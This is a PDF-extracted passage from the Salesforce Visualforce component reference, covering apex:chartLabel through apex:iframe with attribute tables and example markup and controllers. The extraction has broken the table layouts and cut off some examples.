374
apex:chartLabel
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
color
String
23.0
display
String
23.0
rotate
middle
insideStart
insideEnd
outside
over
under
none (to hide labels)
If not specified, this value defaults to "middle".
field
String
The field in each record provided in the chart data from which
to retrieve the label for each data point in the series. This field
must exist in every record in the chart data. If not specified,
this value defaults to "name".
23.0
font
String
The font to use for the label text, as a CSS-style font definition.
If not specified, this value defaults to "11px Helvetica,
sans-serif".
23.0
id
String
23.0
minMargin
Integer
23.0
orientation
String
23.0
horizontal
vertical
If not specified, this value defaults to "horizontal" for normal
left-to-right text.
rendered
Boolean
375
23.0
global
apex:chartTips
Description
Required? API
Access
Version
rendererFn
String
26.0
rotate
Integer
23.0
apex:chartTips
Defines tooltips which appear on mouseover of data series elements. This component offers more configuration options than the default
tooltips displayed by setting the tips attribute of a data series component to true.
Note: This component must be enclosed by a data series component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Millions" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="left"
xField="name" yField="data1">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
</apex:chart>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
height
Integer
23.0
id
String
23.0
labelField
String
The field in each record of the chart data to use as the label
for the tooltip for each data point in the series. Tooltips will
be displayed as <label>: <value>. This field must exist in
every record in the chart data. If not specified, this value
defaults to the labelField for pie and gauge series, and the
xField for other data series.
23.0
rendered
Boolean
23.0
376
global
apex:column
Description
Required? API
Access
Version
rendererFn
String
26.0
trackMouse
Boolean
23.0
valueField
String
The field in each record of the chart data to use as the value
for the tooltip for each data point in the series. Tooltips will
be displayed as <label>: <value>. This field must exist in
every record in the chart data. If not specified, this value
defaults to the dataField for pie and gauge series, and the
yField for other data series.
23.0
width
Integer
23.0
apex:column
A single column in a table. An <apex:column> component must always be a child of an <apex:dataTable> or
<apex:pageBlockTable> component.
Note that if you specify an sObject field as the value attribute for an <apex:column>, the associated label for that field is used
as the column header by default. To override this behavior, use the headerValue attribute on the column, or the column's header
facet.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td> tag for the column in every row of the table.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:pageBlock title="My Content">
<apex:pageBlockTable value="{!account.Contacts}" var="item">
<apex:column value="{!item.name}"/>
<apex:column value="{!item.phone}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
377
apex:column
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
breakBefore
Boolean
10.0
global
colspan
Integer
10.0
global
dir
String
10.0
global
footerClass
String
10.0
global
footercolspan String
10.0
global
footerdir
String
10.0
global
footerlang
String
10.0
global
footeronclick String
10.0
global
footerondblclick String
10.0
global
footeronkeydown String
10.0
global
footeronkeypress String
10.0
global
footeronkeyup String
10.0
global
footeronmousedown String
10.0
global
footeronmousemove String
10.0
global
footeronmouseout String
10.0
global
378
apex:column
Description
Required? API
Access
Version
footeronmouseover String
10.0
global
footeronmouseup String
10.0
global
footerstyle
String
10.0
global
footertitle
String
10.0
global
footerValue
String
12.0
global
headerClass
String
10.0
global
headercolspan String
10.0
global
headerdir
String
10.0
global
headerlang
String
10.0
global
headeronclick String
10.0
global
headerondblclick String
10.0
global
headeronkeydown String
10.0
global
headeronkeypress String
10.0
global
headeronkeyup String
10.0
global
headeronmousedown String
10.0
global
headeronmousemove String
10.0
global
headeronmouseout String
10.0
global
379
apex:column
Description
Required? API
Access
Version
headeronmouseover String
10.0
global
headeronmouseup String
10.0
global
headerstyle
String
10.0
global
headertitle
String
10.0
global
headerValue
String
12.0
global
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
380
apex:column
Description
Required? API
Access
Version
Note that this value does not apply to the header and footer
cells.
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
rowspan
Integer
10.0
global
style
String
The style used to display the column, used primarily for adding
inline CSS styles. Note that this value does not apply to the
header and footer cells.
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
value
String
12.0
global
width
String
10.0
global
381
apex:commandButton
Facets
Facet Name
Description
API
Version
footer
The components that appear in the footer cell for the column. Note that the order in
10.0
which a footer facet appears in the body of a column component does not matter, because
any facet with name="footer" will control the appearance of the final cell in the column.
If you use a footer facet, you cannot specify a value for the column's footerValue attribute.
header
The components that appear in the header cell for the column. Note that the order in
10.0
which a header facet appears in the body of a column component does not matter,
because any facet with name="header" will control the appearance of the first cell in the
column. If you use a header facet, you cannot specify a value for the column's headerValue
attribute. Note also that specifying a value for this facet overrides the default header label
that appears if you use an inputField or outputField in the column body.
apex:commandButton
A button that is rendered as an HTML input element with the type attribute set to submit, reset, or image, depending on the
<apex:commandButton> tag's specified values. The button executes an action defined by a controller, and then either refreshes
the current page, or navigates to a different page based on the PageReference variable that is returned by the action.
An <apex:commandButton> component must always be a child of an <apex:form> component.
See also: <apex:commandLink>
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<apex:commandButton action="{!save}" value="Save" id="theButton"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
action
ApexPages.Action The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example,
382
10.0
global
10.0
global
apex:commandButton
Description
Required? API
Access
Version
String
10.0
global
dir
String
10.0
global
disabled
Boolean
10.0
global
id
String
10.0
global
image
String
10.0
global
immediate
Boolean
11.0
global
lang
String
10.0
global
onblur
String
10.0
global
onclick
String
10.0
global
oncomplete
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
383
apex:commandButton
Description
Required? API
Access
Version
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
status
String
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
384
apex:commandLink
Description
Required? API
Access
Version
timeout
Integer
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:commandLink
A link that executes an action defined by a controller, and then either refreshes the current page, or navigates to a different page based
on the PageReference variable that is returned by the action. An <apex:commandLink> component must always be a child of an
<apex:form> component.
To add request parameters to an <apex:commandLink>, use nested <apex:param> components.
See also: <apex:commandButton>, <apex:outputLink>.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<a> tag.
Example
<apex:commandLink action="{!save}" value="Save" id="theCommandLink"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the command link in focus.
When the command link is in focus, pressing the Enter key is
equivalent to clicking the link.
10.0
global
action
ApexPages.Action The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example,
action="{!save}" references the save() method in the controller.
If an action isn't specified, the page simply refreshes. Note
that command links associated with the save, edit, or delete
actions in a standard controller are rendered only if the user
has the appropriate permissions. Likewise, command links
associated with the edit and delete actions are rendered only
if a record is associated with the page.
10.0
global
385
apex:commandLink
Description
Required? API
Access
Version
charset
String
10.0
global
coords
String
The position and shape of the hot spot on the screen used
for the command link (for use in client-side image maps). The
number and order of comma-separated values depends on
the shape being defined. For example, to define a rectangle,
use coords="left-x, top-y, right-x, bottom-y". To define a circle,
use coords="center-x, center-y, radius". To define a polygon,
use coords="x1, y1, x2, y2, ..., xN, yN", where x1 = nN and y1
= yN. Coordinates can be expressed in pixels or percentages,
and represent the distance from the top-left corner of the
image that is mapped. See also the shape attribute.
10.0
global
dir
String
10.0
global
hreflang
String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
lang
String
10.0
global
onblur
String
10.0
global
onclick
String
10.0
global
oncomplete
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
386
apex:commandLink
Description
Required? API
Access
Version
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rel
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
rev
String
The reverse link from the URL specified by this command link
to the current document. The value of this attribute is a
space-separated list of link types. For more information on
this attribute, see the W3C specifications.
10.0
global
shape
String
10.0
global
status
String
10.0
global
387
apex:component
Description
Required? API
Access
Version
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
target
String
10.0
global
timeout
Integer
10.0
global
title
String
10.0
global
type
String
10.0
global
value
Object
10.0
global
apex:component
A custom Visualforce component. All custom component definitions must be wrapped inside a single <apex:component> tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container tag, <div> or <span>, depending on the layout attribute.
Example
<!-- Page: -->
388
apex:component
<apex:page>
<c:myComponent myValue="My component's value" borderColor="red" />
</apex:page>
<!-- Component:myComponent -->
<apex:component>
<apex:attribute name="myValue" description="This is the value for the component."
type="String" required="true"/>
<apex:attribute name="borderColor" description="This is color for the border."
type="String" required="true"/>
<h1 style="border:{!borderColor}">
<apex:outputText value="{!myValue}"/>
</h1>
</apex:component>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
access
String
14.0
allowDML
Boolean
13.0
global
controller
String
12.0
global
389
apex:componentBody
Description
Required? API
Access
Version
extensions
String
12.0
global
id
String
12.0
global
language
String
12.0
global
layout
String
The HTML layout style for the component. Possible values are
"block" (which wraps the component with an HTML div tag),
"inline" (which wraps the component with an HTML span
tag), and "none" (which does not wrap the component with
any generated HTML tag). If not specified, this value defaults
to "inline".
12.0
global
rendered
Boolean
12.0
global
selfClosing
Boolean
15.0
apex:componentBody
This tag allows a custom component author to define a location where a user can insert content into the custom component. This is
especially useful for generating custom iteration components. This component is valid only within an <apex:component> tag,
and only a single definition per custom component is allowed.
390
apex:componentBody
Simple Example
<!-- Page: -->
<apex:page>
<apex:outputText value="(page) This is before the custom component"/><br/>
<c:bodyExample>
<apex:outputText value="(page) This is between the custom component" /> <br/>
</c:bodyExample>
<apex:outputText value="(page) This is after the custom component"/><br/>
</apex:page>
<!-- Component: bodyExample -->
<apex:component>
<apex:outputText value="First custom component output" /> <br/>
<apex:componentBody />
<apex:outputText value="Second custom component output" /><br/>
</apex:component>
Advanced Example
<!-- Page: -->
<apex:page >
<c:myaccounts var="a">
<apex:panelGrid columns="2" border="1">
<apex:outputText value="{!a.name}"/>
<apex:panelGroup >
<apex:panelGrid columns="1">
<apex:outputText value="{!a.billingstreet}"/>
<apex:panelGroup >
<apex:outputText value="{!a.billingCity},
{!a.billingState} {!a.billingpostalcode}"/>
</apex:panelGroup>
</apex:panelGrid>
</apex:panelGroup>
</apex:panelGrid>
</c:myaccounts>
</apex:page>
<!-- Component: myaccounts-->
<apex:component controller="myAccountsCon">
<apex:attribute name="var" type="String" description="The variable to represent
a single account in the iteration."/>
<apex:repeat var="componentAccount" value="{!accounts}">
<apex:componentBody >
<apex:variable var="{!var}" value="{!componentAccount}"/>
</apex:componentBody>
</apex:repeat>
</apex:component>
/*** Controller ***/
public class myAccountsCon {
public List<Account> accounts {
391
apex:componentBody
get {
accounts = [select name, billingcity, billingstate, billingstreet, billingpostalcode
from account where ownerid = :userinfo.getuserid()];
return accounts;
}
set;
}
}
392
apex:composition
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</span>
</td>
</tr>
</tbody>
</table>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
13.0
global
rendered
Boolean
13.0
global
apex:composition
An area of a page that includes content from a second template page. Template pages are Visualforce pages that include one or more
<apex:insert> components. The <apex:composition> component names the associated template, and provides body
for the template's <apex:insert> components with matching <apex:define> components. Any content outside of an
<apex:composition> component is not rendered.
See also: <apex:insert>, <apex:define>
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
<!-- Page: page -->
<apex:page>
<apex:composition template="composition">
393
apex:dataList
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
rendered
String
template
ApexPages.PageReference The template page used for this component. For this value, Yes
specify the name of the Visualforce page or use merge-field
syntax to reference a page or PageReference.
10.0
global
10.0
global
apex:dataList
An ordered or unordered list of values that is defined by iterating over a set of data. The body of the <apex:dataList> component
specifies how a single item should appear in the list. The data set can include up to 1,000 items.
Example
<!-- Page: -->
<apex:page controller="dataListCon">
<apex:dataList value="{!accounts}" var="account">
<apex:outputText value="{!account.Name}"/>
</apex:dataList>
</apex:page>
/*** Controller: ***/
public class dataListCon {
List<Account> accounts;
public List<Account> getAccounts() {
if(accounts == null) accounts = [SELECT Name FROM Account LIMIT 10];
return accounts;
394
apex:dataList
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
first
Integer
10.0
global
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
395
apex:dataTable
Description
Required? API
Access
Version
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
rows
Integer
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
type
String
The type of list that should display. For ordered lists, possible
values include "1", "a", "A", "i", or "I". For unordered lists,
possible values include "disc", "square", and "circle". If not
specified, this value defaults to "disc".
10.0
global
value
Object
Yes
10.0
global
var
String
The name of the variable that should represent one element Yes
in the collection of data specified by the value attribute. You
can use this variable to display the element in the body of
the dataList component tag.
10.0
global
apex:dataTable
An HTML table thats defined by iterating over a set of data, displaying information about one item of data per row. The body of the
<apex:dataTable> contains one or more column components that specify what information should be displayed for each item
of data. The data set can include up to 1,000 items, or 10,000 items when the page is executed in read-only mode.
For Visualforce pages running Salesforce.com API version 20.0 or higher, an <apex:repeat> tag can be contained within this
component to generate columns.
See also: <apex:panelGrid>
396
apex:dataTable
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
table's <tbody> tag.
Example
<!-- For this example to render fully, associate the page
with a valid account record in the URL.
For example: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 -->
<!-- Page: -->
<apex:page controller="dataTableCon" id="thePage">
<apex:dataTable value="{!accounts}" var="account" id="theTable"
rowClasses="odd,even" styleClass="tableClass">
<apex:facet name="caption">table caption</apex:facet>
<apex:facet name="header">table header</apex:facet>
<apex:facet name="footer">table footer</apex:facet>
<apex:column>
<apex:facet name="header">Name</apex:facet>
<apex:facet name="footer">column footer</apex:facet>
<apex:outputText value="{!account.name}"/>
</apex:column>
<apex:column>
<apex:facet name="header">Owner</apex:facet>
<apex:facet name="footer">column footer</apex:facet>
<apex:outputText value="{!account.owner.name}"/>
</apex:column>
</apex:dataTable>
</apex:page>
/*** Controller: ***/
public class dataTableCon {
List<Account> accounts;
public List<Account> getAccounts() {
if(accounts == null)
accounts = [SELECT name, owner.name FROM account LIMIT 10];
return accounts;
}
}
<colgroup span="2"></colgroup>
<caption>table caption</caption>
397
apex:dataTable
<thead>
<tr>
<td colspan="2" scope="colgroup">table header</td>
</tr>
<tr>
<td scope="col">Name</td>
<td scope="col">Owner</td>
</tr>
</thead>
<tfoot>
<tr>
<td scope="col">column footer</td>
<td scope="col">column footer</td>
</tr>
<tr>
<td colspan="2" scope="colgroup">table footer</td>
</tr>
</tfoot>
<tbody>
<tr class="odd">
<td>Bass Manufacturing</td>
<td>Doug Chapman</td>
</tr>
<tr class="even">
<td>Ball Corp</td>
<td>Alan Ball</td>
</tr>
<tr class="odd">
<td>Wessler Co.</td>
<td>Jill Wessler</td>
</tr>
</tbody>
</table>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
align
String
10.0
global
bgcolor
String
10.0
global
border
String
10.0
global
398
apex:dataTable
Description
Required? API
Access
Version
captionClass String
The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
10.0
global
captionStyle String
The style used to display the caption for the rendered HTML
table, if a caption facet is specified. This attribute is used
primarily for adding inline CSS styles.
10.0
global
cellpadding
String
10.0
global
cellspacing
String
10.0
global
columnClasses String
10.0
global
10.0
global
columnsWidth String
10.0
global
dir
String
10.0
global
first
Integer
10.0
global
Integer
399
apex:dataTable
Description
Required? API
Access
Version
footerClass
String
The style class used to display the footer (bottom row) for the
rendered HTML table, if a footer facet is specified. This
attribute is used primarily to designate which CSS styles are
applied when using an external CSS stylesheet.
10.0
global
frame
String
10.0
global
headerClass
String
The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
10.0
global
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
400
apex:dataTable
Description
Required? API
Access
Version
String
10.0
global
onRowDblClick String
10.0
global
onRowMouseDown String
10.0
global
onRowMouseMove String
10.0
global
onRowMouseOut String
10.0
global
onRowMouseOver String
10.0
global
onRowMouseUp String
10.0
global
onRowClick
rendered
Boolean
10.0
global
rowClasses
String
10.0
global
Integer
10.0
global
rules
String
10.0
global
style
String
10.0
global
401
apex:define
Description
Required? API
Access
Version
styleClass
String
10.0
global
summary
String
10.0
global
title
String
10.0
global
value
Object
Yes
10.0
global
var
String
The name of the variable that represents one element in the Yes
collection of data specified by the value attribute. You can
then use this variable to display the element itself in the body
of the dataTable component tag.
10.0
global
width
String
10.0
global
Facets
Facet Name
Description
API
Version
caption
The components that appear in the caption for the table. Note that the order in which a 10.0
caption facet appears in the body of a dataTable component doesnt matter, because
any facet with name="caption" will control the appearance of the table's caption.
footer
The components that appear in the footer row for the table. Note that the order in which 10.0
a footer facet appears in the body of a dataTable component doesnt matter, because
any facet with name="footer" will control the appearance of the final row in the table.
header
The components that appear in the header row for the table. Note that the order in which 10.0
a header facet appears in the body of a dataTable component doesnt matter, because
any facet with name="header" will control the appearance of the first row in the table.
apex:define
A template component that provides content for an <apex:insert> component defined in a Visualforce template page.
See also: <apex:composition>, <apex:insert>
402
apex:detail
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
<!-- Page: page -->
<apex:page>
<apex:composition template="composition">
<apex:define name="header">(page) This is the header of mypage</apex:define>
<apex:define name="body">(page) This is the body of mypage</apex:define>
</apex:composition>
</apex:page>
Attributes
Attribute Name Attribute Type
name
String
Description
Required? API
Access
Version
Yes
10.0
global
apex:detail
The standard detail page for a particular object, as defined by the associated page layout for the object in Setup. This component includes
attributes for including or excluding the associated related lists, related list hover links, and title bar that appear in the standard Salesforce
application interface.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
403
apex:detail
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
inlineEdit
Boolean
20.0
global
String
20.0
10.0
global
relatedListHover Boolean
10.0
global
rendered
Boolean
10.0
global
rerender
Object
20.0
relatedList
Boolean
404
20.0
apex:dynamicComponent
Description
Required? API
Access
Version
String
10.0
global
title
Boolean
10.0
global
apex:dynamicComponent
This tag acts as a placeholder for your dynamic Apex components. It has one required parametercomponentValuewhich
accepts the name of an Apex method that returns a dynamic component.
The following Visualforce components do not have dynamic Apex representations:
<apex:attribute>
<apex:component>
<apex:componentBody>
<apex:composition>
<apex:define>
<apex:dynamicComponent>
<apex:include>
<apex:insert>
<apex:param>
<apex:variable>
Example
<apex:page controller="SimpleDynamicController">
<apex:dynamicComponent componentValue="{!dynamicDetail}" />
</apex:page>
/* Controller */
public class SimpleDynamicController {
public Component.Apex.Detail getDynamicDetail() {
Component.Apex.Detail detail = new Component.Apex.Detail();
detail.expressions.subject = '{!acct.OwnerId}';
detail.relatedList = false;
detail.title = false;
return detail;
}
405
apex:emailPublisher
Attributes
Attribute Name Attribute Type
Description
componentValue UIComponent
22.0
22.0
invokeAfterAction Boolean
31.0
Boolean
22.0
id
rendered
String
Required? API
Access
Version
global
apex:emailPublisher
The email publisher lets support agents who use Case Feed compose and send email messages to customers. You can customize this
publisher to support email templates and attachments. This component can only be used in organizations that have Case Feed and
Email-to-Case enabled. Ext JS versions less than 3 should not be included on pages that use this component.
406
apex:emailPublisher
onSubmitFailure="alert('failed');"
fromAddresses="[email protected],[email protected]"
/>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
autoCollapseBody Boolean
25.0
bccVisibility String
25.0
ccVisibility String
25.0
25.0
emailBodyFormat String
25.0
emailBodyHeight String
25.0
enableQuickText Boolean
25.0
Entity ID of the record for which to display the email publisher. Yes
In the current version only Case record ids are supported.
25.0
expandableHeader Boolean
25.0
fromAddresses String
25.0
fromVisibility String
25.0
String
14.0
onSubmitFailure String
25.0
onSubmitSuccess String
25.0
emailBody
entityId
id
String
id
Required? API
Access
Version
rendered
Boolean
14.0
reRender
Object
25.0
407
global
global
apex:enhancedList
Description
Required? API
Access
Version
25.0
showAdditionalFields Boolean
25.0
showAttachments Boolean
25.0
showSendButton Boolean
25.0
showTemplates Boolean
25.0
25.0
subjectVisibility String
25.0
submitFunctionName String
25.0
subject
String
title
String
25.0
toAddresses
String
25.0
toVisibility String
25.0
verticalResize Boolean
30.0
25.0
width
String
apex:enhancedList
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications
this component is displayed on the main tab for a particular object. This component has additional attributes that can be specified, such
as the height and rows per page, as compared to <apex:listView>.
Note: When an <apex:enhancedList> is rerendered through another component's rerender attribute, the
<apex:enhancedList> must be inside of an <apex:outputPanel> component that has its layout attribute set to
"block". The <apex:enhancedList> component is not allowed on pages that have the attribute showHeader set to false. You
can only have five <apex:enhancedList> components on a single page. Ext JS versions less than 3 should not be included on
pages that use this component.
See also: <apex:listView>.
408
apex:enhancedList
Example
<apex:page>
<apex:enhancedList type="Account" height="300" rowsPerPage="10" id="AccountList" />
<apex:enhancedList type="Lead" height="300" rowsPerPage="25"
id="LeadList" customizable="False" />
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
customizable Boolean
14.0
height
Integer
An integer value that specifies the height of the list in pixels. Yes
This value is required.
14.0
id
String
14.0
listId
String
The Salesforce object for which views are displayed. This value
is required if type is not specified.
14.0
oncomplete
String
14.0
rendered
Boolean
14.0
reRender
Object
14.0
rowsPerPage
Integer
14.0
409
global
apex:facet
Description
Required? API
Access
Version
values are 10, 25, 50, 100, 200. Note: If you set the value for
greater than 100, a message is automatically displayed to the
user, warning of the potential for performance degradation.
type
String
14.0
width
Integer
14.0
apex:facet
A placeholder for content that's rendered in a specific part of the parent component, such as the header or footer of an
<apex:dataTable>.
An <apex:facet> component can only exist in the body of a parent component if the parent supports facets. The name of the
facet component must match one of the pre-defined facet names on the parent component. This name determines where the content
of the facet component is rendered. The order in which a facet component is defined within the body of a parent component doesn't
affect the appearance of the parent component.
See <apex:dataTable> for an example of facets.
Note: Although you can't represent an <apex:facet> directly in Apex, you can specify it on a dynamic component that has the
facet. For example:
Component.apex.dataTable dt = new Component.apex.dataTable(); dt.facets.header = 'Header
Facet';
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Shows a two column table of contacts associated with the account.
The account column headers are controlled by the facets.-->
<apex:page standardController="Account">
<apex:pageBlock title="Contacts">
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1">
<apex:column >
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
410
apex:flash
<apex:column >
<apex:facet name="header">Phone</apex:facet>
{!contact.Phone}
</apex:column>
</apex:dataTable>
</apex:pageBlock>
</apex:page>
Attributes
Attribute Name Attribute Type
name
String
Description
Required? API
Access
Version
The name of the facet to be rendered. This name must match Yes
one of the pre-defined facet names on the parent component
and determines where the content of the facet component
is rendered. For example, the dataTable component includes
facets named "header", "footer", and "caption".
10.0
global
apex:flash
A Flash movie, rendered with the HTML object and embed tags.
Example
<apex:page sidebar="false" showheader="false">
<apex:flash src="http://www.adobe.com/devnet/flash/samples/drawing_1/1_coordinates.swf"
height="300" width="100%" />
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
flashvars
String
14.0
height
String
14.0
411
apex:form
Description
Required? API
Access
Version
id
String
14.0
loop
Boolean
14.0
play
Boolean
14.0
rendered
Boolean
14.0
src
String
Yes
14.0
width
String
14.0
global
global
apex:form
A section of a Visualforce page that allows users to enter input and then submit it with an <apex:commandButton> or
<apex:commandLink>. The body of the form determines the data that is displayed and the way it's processed. It's a best practice
to use only one <apex:form> tag in a page or custom component.
As of API version 18.0, this tag can't be a child component of <apex:repeat>.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<form> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid case record in the URL.
For example, if 001D000000IRt53 is the case ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
412
apex:form
413
apex:form
<option
<option
<option
<option
</select>
</td>
</tr>
value="New">New</option>
value="Working" selected="selected">Working</option>
value="Escalated">Escalated</option>
value="Closed">Closed</option>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
String
10.0
global
acceptcharset String
10.0
global
dir
String
10.0
global
enctype
String
The content type used to submit the form to the server. If not
specified, this value defaults to
"application/x-www-form-urlencoded".
10.0
global
accept
414
apex:form
Description
Required? API
Access
Version
forceSSL
Boolean
14.0
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onreset
String
10.0
global
onsubmit
String
10.0
global
prependId
Boolean
10.0
global
415
apex:gaugeSeries
Description
Required? API
Access
Version
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
target
String
The name of the frame that displays the response after the
form is submitted. Possible values for this attribute include
"_blank", "_parent", "_self", and "_top". You can also specify
your own target names by assigning a value to the name
attribute of a desired destination.
10.0
global
title
String
10.0
global
apex:gaugeSeries
A data series that shows progress along a specific metric. At a minimum you must specify the fields in the data collection to use as label
and value pair for the gauge level to be shown. The readability of a gauge chart benefits when you specify meaningful values for the
minimum and maximum along the associated <apex:axis>, which must be of type "gauge".
Note: This component must be enclosed within an <apex:chart> component. You should put only one <apex:gaugeSeries>
in a chart.
Example
<!-- Page: -->
<apex:chart height="250" width="450" animate="true" legend="true" data="{!data}">
<apex:axis type="gauge" position="left" margin="-10"
minimum="0" maximum="100" steps="10"/>
<apex:gaugeSeries dataField="data1" highlight="true" tips="true" donut="25"
colorSet="#F49D10, #ddd">
<apex:chartLabel display="over"/>
</apex:gaugeSeries>
</apex:chart>
416
apex:iframe
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
colorSet
String
A set of color values used as the gauge level fill colors. Colors
are specified as HTML-style (hexadecimal) colors, and should
be comma separated. For example, #00F,#0F0.
26.0
dataField
String
The field in the records provided in the chart data from which Yes
to retrieve the data value for the gauge level. Only the first
record is used.
26.0
donut
Integer
26.0
highlight
Boolean
26.0
id
String
26.0
labelField
String
The field in the records provided in the chart data from which
to retrieve the label for the gauge level. Only the first record
is used. If not specified, this value defaults to "name".
23.0
needle
Boolean
26.0
rendered
Boolean
26.0
rendererFn
String
26.0
tips
Boolean
26.0
global
apex:iframe
A component that creates an inline frame within a Visualforce page. A frame allows you to keep some information visible while other
information is scrolled or replaced.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<iframe> tag.
417
apex:image
Example
<apex:iframe src="http://www.salesforce.com" scrolling="true" id="theIframe"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
frameborder
Boolean
10.0
global
height
String
10.0
global
id
String
10.0
global
rendered
Boolean
